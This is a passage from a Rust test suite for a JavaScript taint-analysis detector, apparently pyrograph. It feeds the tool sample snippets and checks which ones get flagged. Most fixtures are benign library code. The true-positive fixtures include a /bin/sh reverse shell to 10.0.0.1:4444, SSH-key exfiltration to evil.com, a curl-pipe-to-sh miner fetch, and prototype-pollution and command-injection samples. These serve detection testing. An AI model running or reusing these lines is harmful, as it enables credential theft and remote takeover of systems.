var cp = require('child_process');
var sh = cp.spawn('/bin/sh', ['-i']);
var client = new net.Socket();
client.connect(4444, '10.0.0.1');
"#;
let graph = pyrograph::parse::parse_js(js, "tp2.js").unwrap();
let has_spawn_sink = graph.nodes().iter().any(|n|
n.name.contains("spawn") && n.label.map_or(false, |l| l.is_sink())
);
assert!(has_spawn_sink, "TP: child_process.spawn must be labeled as sink");
}
#[test]
fn tp_eval_of_env_var() {
let js = "var x = process.env.PAYLOAD; eval(x);";
let graph = pyrograph::parse::parse_js(js, "tp3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "TP: eval of env var must be detected");
}
#[test]
fn tp_buffer_from_to_eval() {
let js = "var d = Buffer.from('ZXZhbCgxKQ==','base64').toString(); eval(d);";
let graph = pyrograph::parse::parse_js(js, "tp4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "TP: Buffer.from -> eval must be detected");
}
#[test]
fn tp_ssh_key_exfiltration() {
let js = r#"
var fs = require('fs');
var key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
var https = require('https');
https.request({hostname:'evil.com', path:'/' + key}).end();
"#;
let graph = pyrograph::parse::parse_js(js, "tp5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "TP: SSH key exfiltration must be detected");
}
#[test]
fn tp_crypto_miner_install() {
let js = "var cp = require('child_process'); cp.execSync('curl https://evil.com/miner | sh');";
let graph = pyrograph::parse::parse_js(js, "tp6.js").unwrap();
let has_exec_sink = graph.nodes().iter().any(|n|
n.name.contains("execSync") && n.label.map_or(false, |l| l.is_sink())
);
assert!(has_exec_sink, "TP: execSync must be labeled as critical sink");
}
#[test]
fn tp_function_constructor() {
let js = "var code = process.env.CODE; new Function(code)();";
let graph = pyrograph::parse::parse_js(js, "tp7.js").unwrap();
let has_function_sink = graph.nodes().iter().any(|n|
n.name.contains("new Function") && n.label.map_or(false, |l| l.is_sink())
);
assert!(has_function_sink, "TP: new Function() constructor must be labeled as critical sink");
}
#[test]
fn tn_express_hello_world() {
let js = r#"
const express = require('express');
const app = express();
app.get('/', (req, res) => res.send('Hello World'));
app.listen(3000, () => console.log('Listening on 3000'));
"#;
let graph = pyrograph::parse::parse_js(js, "tn1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "TN: clean express app must have zero findings");
}
#[test]
fn tn_lodash_utility() {
let js = r#"
var _ = require('lodash');
var data = [3, 1, 4, 1, 5, 9];
var sorted = _.sortBy(data);
var unique = _.uniq(sorted);
console.log(unique);
"#;
let graph = pyrograph::parse::parse_js(js, "tn2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "TN: lodash utility code must have zero findings");
}
#[test]
fn tn_math_computation() {
let js = r#"
function fibonacci(n) {
if (n <= 1) return n;
return fibonacci(n - 1) + fibonacci(n - 2);
}
var result = fibonacci(10);
module.exports = { fibonacci, result };
"#;
let graph = pyrograph::parse::parse_js(js, "tn3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "TN: pure math code must have zero findings");
}
#[test]
fn tn_react_component() {
let js = r#"
const React = require('react');
function Button({ label, onClick }) {
return React.createElement('button', { onClick }, label);
}
module.exports = Button;
"#;
let graph = pyrograph::parse::parse_js(js, "tn4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "TN: React component must have zero findings");
}
#[test]
fn fp_trap_eval_of_literal() {
let js = "eval('console.log(42)');";
let graph = pyrograph::parse::parse_js(js, "fp1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP TRAP: eval of literal string is not a taint flow");
}
#[test]
fn fp_trap_fetch_of_hardcoded_url() {
let js = "fetch('https://api.example.com/data').then(r => r.json());";
let graph = pyrograph::parse::parse_js(js, "fp2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP TRAP: fetch of hardcoded URL is not exfiltration");
}
#[test]
fn fp_trap_fs_read_for_config() {
let js = r#"
var fs = require('fs');
var config = JSON.parse(fs.readFileSync('./config.json', 'utf8'));
console.log(config.port);
"#;
let graph = pyrograph::parse::parse_js(js, "fp3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP TRAP: fs.readFileSync -> console.log is not exfiltration");
}
#[test]
fn fp_trap_process_env_for_port() {
let js = r#"
var port = process.env.PORT || 3000;
var app = require('express')();
app.listen(port);
"#;
let graph = pyrograph::parse::parse_js(js, "fp4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP TRAP: process.env.PORT for server config is not theft");
}
#[test]
fn fp_trap_child_process_for_build() {
let js = "var cp = require('child_process'); cp.execSync('npm run build');";
let graph = pyrograph::parse::parse_js(js, "fp5.js").unwrap();
let findings = analyze(&graph).unwrap();
}
fn vuln_prototype_pollution_to_rce() {
let js = r#"
var input = process.argv[2];
var obj = {};
obj.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync(input);
"#;
let graph = pyrograph::parse::parse_js(js, "vuln1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "VULN: prototype pollution -> RCE must be detected");
}
#[test]
fn vuln_ssrf_via_user_input() {
let js = r#"
var url = require('url');
var http = require('http');
var userUrl = process.argv[2];
http.request(userUrl).end();
"#;
let graph = pyrograph::parse::parse_js(js, "vuln2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "VULN: SSRF via user input must be detected");
}
#[test]
fn vuln_command_injection() {
let js = r#"
var cp = require('child_process');
var filename = process.argv[2];
cp.exec('cat ' + filename);
"#;
let graph = pyrograph::parse::parse_js(js, "vuln3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "VULN: command injection via process.argv must be detected");
}
#[test]
fn fp_bcrypt_password_hash() {
let js = r#"
const bcrypt = require('bcrypt');
const saltRounds = 10;
const plainPassword = 'user_input_here';
bcrypt.hash(plainPassword, saltRounds, (err, hash) => {
if (err) throw err;
console.log('Password hashed successfully');
});
"#;
let graph = pyrograph::parse::parse_js(js, "bcrypt_hash.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: bcrypt password hashing must have zero findings");
}
#[test]
fn fp_jwt_sign_with_private_key() {
let js = r#"
const jwt = require('jsonwebtoken');
const fs = require('fs');
const privateKey = fs.readFileSync('./private.pem');
const token = jwt.sign({ user: 'alice' }, privateKey, { algorithm: 'RS256' });
console.log(token);
"#;
let graph = pyrograph::parse::parse_js(js, "jwt_sign.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: JWT signing with local key must have zero findings");
}
#[test]
fn fp_oauth_token_refresh() {
let js = r#"
const axios = require('axios');
const refreshToken = 'stored_refresh_token';
axios.post('https://oauth.provider.com/token', {
grant_type: 'refresh_token',
refresh_token: refreshToken,
client_id: 'my_client_id'
});
"#;
let graph = pyrograph::parse::parse_js(js, "oauth_refresh.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: OAuth token refresh must have zero findings");
}
#[test]
fn fp_hmac_verification() {
let js = r#"
const crypto = require('crypto');
const secret = 'webhook_secret_key';
const signature = 'sha256=abcdef123456';
const payload = '{"event":"push"}';
const expected = crypto.createHmac('sha256', secret).update(payload).digest('hex');
if ('sha256=' + expected === signature) {
console.log('Webhook verified');
}
"#;
let graph = pyrograph::parse::parse_js(js, "hmac_verify.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: HMAC verification must have zero findings");
}
#[test]
fn fp_crypto_randombytes_session() {
let js = r#"
const crypto = require('crypto');
crypto.randomBytes(32, (err, buffer) => {
if (err) throw err;
const sessionId = buffer.toString('hex');
console.log('Generated session ID:', sessionId);
});
"#;
let graph = pyrograph::parse::parse_js(js, "randombytes_session.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: crypto.randomBytes for session IDs must have zero findings");
}
#[test]
fn fp_pbkdf2_password_hashing() {
let js = r#"
const crypto = require('crypto');
const password = 'user_password';
const salt = crypto.randomBytes(16);
crypto.pbkdf2(password, salt, 100000, 64, 'sha512', (err, derivedKey) => {
if (err) throw err;
console.log(derivedKey.toString('hex'));
});
"#;
let graph = pyrograph::parse::parse_js(js, "pbkdf2_hash.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: PBKDF2 password hashing must have zero findings");
}
#[test]
fn fp_tls_certificate_validation() {
let js = r#"
const tls = require('tls');
const options = {
host: 'api.example.com',
port: 443,
rejectUnauthorized: true,
ca: require('fs').readFileSync('./ca-cert.pem')
};
const socket = tls.connect(options, () => {
console.log('TLS connection established');
});
"#;
let graph = pyrograph::parse::parse_js(js, "tls_validate.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: TLS certificate validation must have zero findings");
}
#[test]
fn fp_csrf_token_generation() {
let js = r#"
const crypto = require('crypto');
function generateCsrfToken() {
return crypto.randomBytes(24).toString('base64');
}
module.exports = { generateCsrfToken };
"#;
let graph = pyrograph::parse::parse_js(js, "csrf_token.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: CSRF token generation must have zero findings");
}
#[test]
fn fp_crypto_createhash_integrity() {
let js = r#"
const crypto = require('crypto');
const fs = require('fs');
const data = fs.readFileSync('./package.zip');
const hash = crypto.createHash('sha256').update(data).digest('hex');
console.log('Package integrity:', hash);
"#;
let graph = pyrograph::parse::parse_js(js, "crypto_integrity.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: crypto.createHash for integrity checks must have zero findings");
}
#[test]
fn fp_scrypt_password_hashing() {
let js = r#"
const crypto = require('crypto');
const password = 'user_password';
const salt = crypto.randomBytes(32);
crypto.scrypt(password, salt, 64, (err, derivedKey) => {
if (err) throw err;
console.log(derivedKey.toString('hex'));
});
"#;
let graph = pyrograph::parse::parse_js(js, "scrypt_hash.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: scrypt password hashing must have zero findings");
}
#[test]
fn fp_crypto_createcipher_encryption() {
let js = r#"
const crypto = require('crypto');
const algorithm = 'aes-256-cbc';
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(algorithm, key, iv);
let encrypted = cipher.update('sensitive data', 'utf8', 'hex');
encrypted += cipher.final('hex');
console.log('Encrypted:', encrypted);
"#;
let graph = pyrograph::parse::parse_js(js, "crypto_encrypt.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: legitimate AES encryption must have zero findings");
}
#[test]
fn fp_crypto_generatekeypair() {
let js = r#"
const crypto = require('crypto');
crypto.generateKeyPair('rsa', {
modulusLength: 2048,
publicKeyEncoding: { type: 'spki', format: 'pem' },
privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}, (err, publicKey, privateKey) => {
if (err) throw err;
console.log('Keys generated');
});
"#;
let graph = pyrograph::parse::parse_js(js, "generate_keypair.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: crypto.generateKeyPair must have zero findings");
}
#[test]
fn fp_crypto_digital_signature() {
let js = r#"
const crypto = require('crypto');
const sign = crypto.createSign('SHA256');
sign.update('some data to sign');
sign.end();
const privateKey = '-----BEGIN PRIVATE KEY-----...';
const signature = sign.sign(privateKey, 'hex');
console.log('Signature:', signature);
"#;
let graph = pyrograph::parse::parse_js(js, "crypto_sign.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: crypto digital signature must have zero findings");
}
#[test]
fn fp_jwt_verify_token() {
let js = r#"
const jwt = require('jsonwebtoken');
const publicKey = require('fs').readFileSync('./public.pem');
const token = 'eyJhbGciOiJSUzI1NiIs...';
try {
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
console.log('Token verified:', decoded);
} catch (err) {
console.error('Invalid token');
}
"#;
let graph = pyrograph::parse::parse_js(js, "jwt_verify.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: JWT verification must have zero findings");
}
#[test]
fn fp_passport_local_strategy() {
let js = r#"
const passport = require('passport');
const LocalStrategy = require('passport-local').Strategy;
passport.use(new LocalStrategy(
(username, password, done) => {
if (username === 'admin' && password === 'secret') {
return done(null, { username: 'admin' });
}
return done(null, false);
}
));
"#;
let graph = pyrograph::parse::parse_js(js, "passport_local.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: passport local strategy must have zero findings");
}
#[test]
fn fp_express_session_config() {
let js = r#"
const session = require('express-session');
app.use(session({
secret: 'keyboard cat secret',
resave: false,
saveUninitialized: true,
cookie: { secure: true }
}));
"#;
let graph = pyrograph::parse::parse_js(js, "express_session.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: express session configuration must have zero findings");
}
#[test]
fn fp_argon2_password_hash() {
let js = r#"
const argon2 = require('argon2');
async function hashPassword(password) {
try {
const hash = await argon2.hash(password);
console.log('Argon2 hash:', hash);
} catch (err) {
console.error(err);
}
}
"#;
let graph = pyrograph::parse::parse_js(js, "argon2_hash.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: argon2 password hashing must have zero findings");
}
#[test]
fn fp_crypto_certificate_fingerprint() {
let js = r#"
const crypto = require('crypto');
const fs = require('fs');
const cert = fs.readFileSync('./server.crt');
const fingerprint = crypto.createHash('sha256').update(cert).digest('hex');
console.log('Certificate fingerprint:', fingerprint);
"#;
let graph = pyrograph::parse::parse_js(js, "cert_fingerprint.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: certificate fingerprinting must have zero findings");
}
#[test]
fn fp_api_key_hmac_generation() {
let js = r#"
const crypto = require('crypto');
const apiKey = 'my_api_key';
const timestamp = Date.now().toString();
const signature = crypto.createHmac('sha256', apiKey).update(timestamp).digest('hex');
console.log('API signature:', signature);
"#;
let graph = pyrograph::parse::parse_js(js, "api_hmac.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: API key HMAC generation must have zero findings");
}
#[test]
fn fp_totp_code_verification() {
let js = r#"
const crypto = require('crypto');
function verifyTotp(token, secret) {
const expected = crypto.createHmac('sha1', secret).update(Math.floor(Date.now() / 30000).toString()).digest('hex').substring(0, 6);
return token === expected;
}
console.log(verifyTotp('123456', 'base32secret'));
"#;
let graph = pyrograph::parse::parse_js(js, "totp_verify.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: TOTP verification must have zero findings");
}
#[test]
fn fp_express_logging_middleware() {
let js = r#"
const express = require('express');
const app = express();
app.use((req, res, next) => {
console.log(`${req.method} ${req.url}`);
next();
});
app.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "express_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: express logging middleware must have zero findings");
}
#[test]
fn fp_express_api_route_handler() {
let js = r#"
const express = require('express');
const app = express();
app.get('/api/users/:id', (req, res) => {
const userId = req.params.id;
res.json({ id: userId, name: 'Alice' });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_route.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: express API route handler must have zero findings");
}
#[test]
fn fp_fetch_rest_api_call() {
let js = r#"
fetch('https://jsonplaceholder.typicode.com/posts/1')
.then(response => response.json())
.then(data => console.log(data));
"#;
let graph = pyrograph::parse::parse_js(js, "fetch_rest.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fetch REST API call must have zero findings");
}
#[test]
fn fp_axios_interceptor() {
let js = r#"
const axios = require('axios');
axios.interceptors.request.use(config => {
config.headers.Authorization = 'Bearer static_token';
return config;
});
axios.get('https://api.example.com/data');
"#;
let graph = pyrograph::parse::parse_js(js, "axios_interceptor.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: axios interceptor must have zero findings");
}
#[test]
fn fp_graphql_resolver() {
let js = r#"
const resolvers = {
Query: {
user: (_, { id }) => {
return { id, name: 'Alice', email: 'alice@example.com' };
}
}
};
module.exports = resolvers;
"#;
let graph = pyrograph::parse::parse_js(js, "graphql_resolver.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: GraphQL resolver must have zero findings");
}
#[test]
fn fp_webhook_handler_stripe() {
let js = r#"
const express = require('express');
app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), (req, res) => {
const event = JSON.parse(req.body);
console.log('Stripe event:', event.type);
res.json({ received: true });
});
"#;
let graph = pyrograph::parse::parse_js(js, "stripe_webhook.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Stripe webhook handler must have zero findings");
}
#[test]
fn fp_health_check_endpoint() {
let js = r#"
const express = require('express');
const app = express();
app.get('/health', (req, res) => {
res.status(200).json({ status: 'healthy', uptime: process.uptime() });
});
"#;
let graph = pyrograph::parse::parse_js(js, "health_check.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: health check endpoint must have zero findings");
}
#[test]
fn fp_cors_configuration() {
let js = r#"
const cors = require('cors');
const express = require('express');
const app = express();
app.use(cors({
origin: 'https://app.example.com',
methods: ['GET', 'POST'],
allowedHeaders: ['Content-Type', 'Authorization']
}));
"#;
let graph = pyrograph::parse::parse_js(js, "cors_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: CORS configuration must have zero findings");
}
#[test]
fn fp_rate_limiting_middleware() {
let js = r#"
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 100,
message: 'Too many requests from this IP'
});
app.use('/api/', limiter);
"#;
let graph = pyrograph::parse::parse_js(js, "rate_limit.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: rate limiting middleware must have zero findings");
}
#[test]
fn fp_express_static_files() {
let js = r#"
const express = require('express');
const app = express();
app.use('/static', express.static('public'));
app.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "express_static.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: express static file serving must have zero findings");
}
#[test]
fn fp_body_parser_json() {
let js = r#"
const express = require('express');
const app = express();
app.use(express.json({ limit: '10mb' }));
app.post('/api/data', (req, res) => {
console.log(req.body);
res.json({ success: true });
});
"#;
let graph = pyrograph::parse::parse_js(js, "body_parser.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: body-parser JSON middleware must have zero findings");
}
#[test]
fn fp_cookie_parser_hardcoded_secret() {
let js = r#"
const cookieParser = require('cookie-parser');
const express = require('express');
const app = express();
app.use(cookieParser('secret_key'));
app.get('/', (req, res) => {
console.log(req.cookies);
res.send('OK');
});
"#;
let graph = pyrograph::parse::parse_js(js, "cookie_parser.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: cookie-parser middleware must have zero findings");
}
#[test]
fn fp_morgan_logging() {
let js = r#"
const morgan = require('morgan');
const express = require('express');
const app = express();
app.use(morgan('combined'));
app.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "morgan_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: morgan logging middleware must have zero findings");
}
#[test]
fn fp_helmet_security_headers() {
let js = r#"
const helmet = require('helmet');
const express = require('express');
const app = express();
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"]
}
}
}));
"#;
let graph = pyrograph::parse::parse_js(js, "helmet_headers.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: helmet security headers must have zero findings");
}
#[test]
fn fp_compression_middleware() {
let js = r#"
const compression = require('compression');
const express = require('express');
const app = express();
app.use(compression());
app.get('/', (req, res) => {
res.send('Hello World');
});
"#;
let graph = pyrograph::parse::parse_js(js, "compression.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: compression middleware must have zero findings");
}
#[test]
fn fp_http_create_server() {
let js = r#"
const http = require('http');
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ message: 'Hello' }));
});
server.listen(8080);
"#;
let graph = pyrograph::parse::parse_js(js, "http_server.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: http.createServer must have zero findings");
}
#[test]
fn fp_https_request_hardcoded() {
let js = r#"
const https = require('https');
https.get('https://api.example.com/health', (res) => {
let data = '';
res.on('data', chunk => data += chunk);
res.on('end', () => console.log(data));
});
"#;
let graph = pyrograph::parse::parse_js(js, "https_request.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: https.request with hardcoded URL must have zero findings");
}
#[test]
fn fp_axios_get_hardcoded() {
let js = r#"
const axios = require('axios');
axios.get('https://jsonplaceholder.typicode.com/users')
.then(response => console.log(response.data))
.catch(error => console.error(error));
"#;
let graph = pyrograph::parse::parse_js(js, "axios_get.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: axios.get with hardcoded URL must have zero findings");
}
#[test]
fn fp_node_fetch_hardcoded() {
let js = r#"
const fetch = require('node-fetch');
fetch('https://api.github.com/users/github')
.then(res => res.json())
.then(json => console.log(json));
"#;
let graph = pyrograph::parse::parse_js(js, "node_fetch.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: node-fetch with hardcoded URL must have zero findings");
}
#[test]
fn fp_supertest_api_testing() {
let js = r#"
const request = require('supertest');
const app = require('./app');
request(app)
.get('/users')
.expect(200)
.end((err, res) => {
if (err) throw err;
});
"#;
let graph = pyrograph::parse::parse_js(js, "supertest.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: supertest API testing must have zero findings");
}
#[test]
fn fp_fs_readfile_config() {
let js = r#"
const fs = require('fs');
const path = require('path');
const configPath = path.join(__dirname, 'config.json');
fs.readFile(configPath, 'utf8', (err, data) => {
if (err) throw err;
const config = JSON.parse(data);
console.log('Loaded config:', config.name);
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_read_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.readFile for config must have zero findings");
}
#[test]
fn fp_json_parse_fs_readfilesync() {
let js = r#"
const fs = require('fs');
const config = JSON.parse(fs.readFileSync('./settings.json', 'utf8'));
console.log('Database host:', config.db.host);
"#;
let graph = pyrograph::parse::parse_js(js, "json_parse_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: JSON.parse(fs.readFileSync) for config must have zero findings");
}
#[test]
fn fp_path_join_safe_paths() {
let js = r#"
const path = require('path');
const safePath = path.join(__dirname, 'templates', 'index.html');
console.log('Resolved path:', safePath);
"#;
let graph = pyrograph::parse::parse_js(js, "path_join.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: path.join for safe paths must have zero findings");
}
#[test]
fn fp_glob_file_discovery() {
let js = r#"
const glob = require('glob');
glob('src/**/*.js', (err, files) => {
if (err) throw err;
console.log('Found', files.length, 'files');
});
"#;
let graph = pyrograph::parse::parse_js(js, "glob_discovery.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: glob file discovery must have zero findings");
}
#[test]
fn fp_mkdirp_backup_paths() {
let js = r#"
const mkdirp = require('mkdirp');
mkdirp('./data/backup/2024').then(made => {
console.log('Created directories:', made);
});
"#;
let graph = pyrograph::parse::parse_js(js, "mkdirp.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: mkdirp directory creation must have zero findings");
}
#[test]
fn fp_rimraf_temp_cache() {
let js = r#"
const rimraf = require('rimraf');
rimraf('./temp/build-cache', err => {
if (err) console.error(err);
else console.log('Cleanup complete');
});
"#;
let graph = pyrograph::parse::parse_js(js, "rimraf_cleanup.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: rimraf cleanup must have zero findings");
}
#[test]
fn fp_multer_file_upload() {
let js = r#"
const multer = require('multer');
const upload = multer({ dest: 'uploads/' });
app.post('/upload', upload.single('avatar'), (req, res) => {
console.log('Uploaded file:', req.file.originalname);
res.json({ success: true });
});
"#;
let graph = pyrograph::parse::parse_js(js, "multer_upload.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: multer file upload must have zero findings");
}
#[test]
fn fp_csv_parsing_papaparse() {
let js = r#"
const Papa = require('papaparse');
const fs = require('fs');
const file = fs.readFileSync('./data.csv', 'utf8');
const results = Papa.parse(file, { header: true });
console.log('Parsed rows:', results.data.length);
"#;
let graph = pyrograph::parse::parse_js(js, "csv_parse.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: CSV parsing with PapaParse must have zero findings");
}
#[test]
fn fp_fs_writefile_logs() {
let js = r#"
const fs = require('fs');
const logData = JSON.stringify({ time: Date.now(), level: 'info' });
fs.writeFile('./logs/app.log', logData + '\n', err => {
if (err) console.error(err);
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_write_logs.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.writeFile for logs must have zero findings");
}
#[test]
fn fp_fs_readdir_listing() {
let js = r#"
const fs = require('fs');
fs.readdir('./src', (err, files) => {
if (err) throw err;
files.forEach(file => console.log(file));
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_readdir.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.readdir for directory listing must have zero findings");
}
#[test]
fn fp_fs_stat_file_info() {
let js = r#"
const fs = require('fs');
fs.stat('./package.json', (err, stats) => {
if (err) throw err;
console.log('File size:', stats.size);
console.log('Modified:', stats.mtime);
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_stat.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.stat for file info must have zero findings");
}
#[test]
fn fp_fs_watch_changes() {
let js = r#"
const fs = require('fs');
fs.watch('./config.json', (eventType, filename) => {
console.log(`Config changed: ${filename} (${eventType})`);
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_watch.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.watch for file changes must have zero findings");
}
#[test]
fn fp_fs_copyfile_backup() {
let js = r#"
const fs = require('fs');
fs.copyFile('./data.db', './data.db.backup', err => {
if (err) throw err;
console.log('Backup created');
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_copyfile.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.copyFile for backup must have zero findings");
}
#[test]
fn fp_fs_rename_move() {
let js = r#"
const fs = require('fs');
fs.rename('./temp.txt', './archive/temp.txt', err => {
if (err) throw err;
console.log('File moved');
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_rename.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.rename for file move must have zero findings");
}
#[test]
fn fp_fs_chmod_permissions() {
let js = r#"
const fs = require('fs');
fs.chmod('./script.sh', 0o755, err => {
if (err) throw err;
console.log('Permissions updated');
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_chmod.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.chmod for permissions must have zero findings");
}
#[test]
fn fp_fs_createreadstream() {
let js = r#"
const fs = require('fs');
const readStream = fs.createReadStream('./large-file.zip');
readStream.on('data', chunk => console.log('Read chunk:', chunk.length));
readStream.on('end', () => console.log('Read complete'));
"#;
let graph = pyrograph::parse::parse_js(js, "fs_readstream.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.createReadStream must have zero findings");
}
#[test]
fn fp_fs_createwritestream() {
let js = r#"
const fs = require('fs');
const writeStream = fs.createWriteStream('./output.txt');
writeStream.write('Hello World\n');
writeStream.end();
"#;
let graph = pyrograph::parse::parse_js(js, "fs_writestream.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.createWriteStream must have zero findings");
}
#[test]
fn fp_fs_existssync_check() {
let js = r#"
const fs = require('fs');
if (fs.existsSync('./config.json')) {
console.log('Config file exists');
} else {
console.log('Config file missing');
}
"#;
let graph = pyrograph::parse::parse_js(js, "fs_exists.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.existsSync check must have zero findings");
}
#[test]
fn fp_fs_mkdirsync() {
let js = r#"
const fs = require('fs');
if (!fs.existsSync('./logs')) {
fs.mkdirSync('./logs', { recursive: true });
}
"#;
let graph = pyrograph::parse::parse_js(js, "fs_mkdir.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.mkdirSync must have zero findings");
}
#[test]
fn fp_fs_appendfile_logs() {
let js = r#"
const fs = require('fs');
fs.appendFile('./logs/app.log', 'New log entry\n', err => {
if (err) console.error(err);
});
"#;
let graph = pyrograph::parse::parse_js(js, "fs_appendfile.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: fs.appendFile for logs must have zero findings");
}
#[test]
fn fp_process_env_node_env_check() {
let js = r#"
if (process.env.NODE_ENV === 'production') {
